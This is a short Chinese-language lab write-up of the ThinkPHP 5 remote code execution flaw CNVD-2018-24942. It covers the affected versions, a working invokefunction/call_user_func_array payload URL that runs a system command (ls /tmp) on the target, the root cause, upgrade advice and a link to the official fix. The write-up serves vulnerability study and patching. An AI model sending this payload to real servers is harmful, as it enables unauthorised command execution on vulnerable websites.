thinkphp 代码执行 (CNVD-2018-24942)
漏洞介绍
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
影响版本:
ThinkPHP 5.*,<5.1.31
ThinkPHP <=5.0.23
过程
1.开启靶场环境
2、在其地址增加路径与参数即可,最后是需要执行的命令 ls /tmp
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
如下:
http://192.168.xx.xx:xxxxx/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp
3、成功得到flag
小结
此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。
漏洞修复
官方修复方案:https://blog.thinkphp.cn/869075